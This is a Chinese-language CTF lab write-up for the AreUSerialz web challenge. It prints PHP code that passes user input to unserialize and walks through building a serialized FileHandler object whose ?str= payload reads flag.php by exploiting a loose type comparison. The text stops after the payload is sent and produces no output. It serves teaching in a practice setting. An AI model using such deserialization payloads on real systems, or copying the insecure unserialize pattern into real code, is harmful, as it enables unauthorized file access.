CTF(九)

时间:2024-10-23 11:18:42

  导言:

本文主要讲述在CTF竞赛网鼎杯中,web类题目AreUSerialz。

靶场链接:BUUCTF在线评测

一,分析代码。

看到了一大段php代码。

<?php

// 引入flag.php文件
include("flag.php");

// 高亮显示当前文件
highlight_file(__FILE__);

// 定义FileHandler类
class FileHandler {

    // 定义属性
    protected $op;
    protected $filename;
    protected $content;

    // 构造函数
    function __construct() {
        // 初始化属性
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        // 调用process方法
        $this->process();
    }

    // 处理方法
    public function process() {
        // 根据op属性的值,调用不同的方法
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    // 写入文件方法
    private function write() {
        // 判断filename和content属性是否存在
        if(isset($this->filename) && isset($this->content)) {
            // 判断content属性的长度是否超过100
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            // 调用file_put_contents函数将content属性写入filename属性指定的文件
            $res = file_put_contents($this->filename, $this->content);
            // 判断写入是否成功
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    // 读取文件方法
    private function read() {
        $res = "";
        // 判断filename属性是否存在
        if(isset($this->filename)) {
            // 调用file_get_contents函数读取filename属性指定的文件内容
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    // 输出方法
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    // 析构函数
    function __destruct() {
        // 如果op属性的值为2,则将其改为1。
        if($this->op === "2")
            $this->op = "1";
        // 将content属性置空
        $this->content = "";
        // 调用process方法
        $this->process();
    }

}

// 定义is_valid函数,判断字符串是否合法
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

// 判断是否存在GET参数str
if(isset($_GET{'str'})) {

    // 获取GET参数str的值
    $str = (string)$_GET['str'];
    // 判断str是否合法
    if(is_valid($str)) {
        // 反序列化str
        $obj = unserialize($str);
    }

}

可以知道:

1,这是一个反序列化题目。

2,使用get传参,传参名为:str。

3,flag在flag.php内。

4,代码中使用了is_valid函数来验证输入字符串的合法性,即传入的str的每个字母的ascii值在32和125之间。

5,根据其中的:

得知传参格式。

二,构造payload。

根据代码内的:



    protected $op;
    protected $filename;
    protected $content;

可以知道,payload为:

<?php
 class FileHandler  {
    public  $op = 2;   //根据题意进行的传参
    public  $filename = "flag.php";
    public  $content = "2";     
 }

$q = new FileHandler();     //对其进行反序列化操作        
echo(serialize($q));

?>

输出结果为:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}

使用hackbar进行传参后:

并无回显。

查看页面源码发现: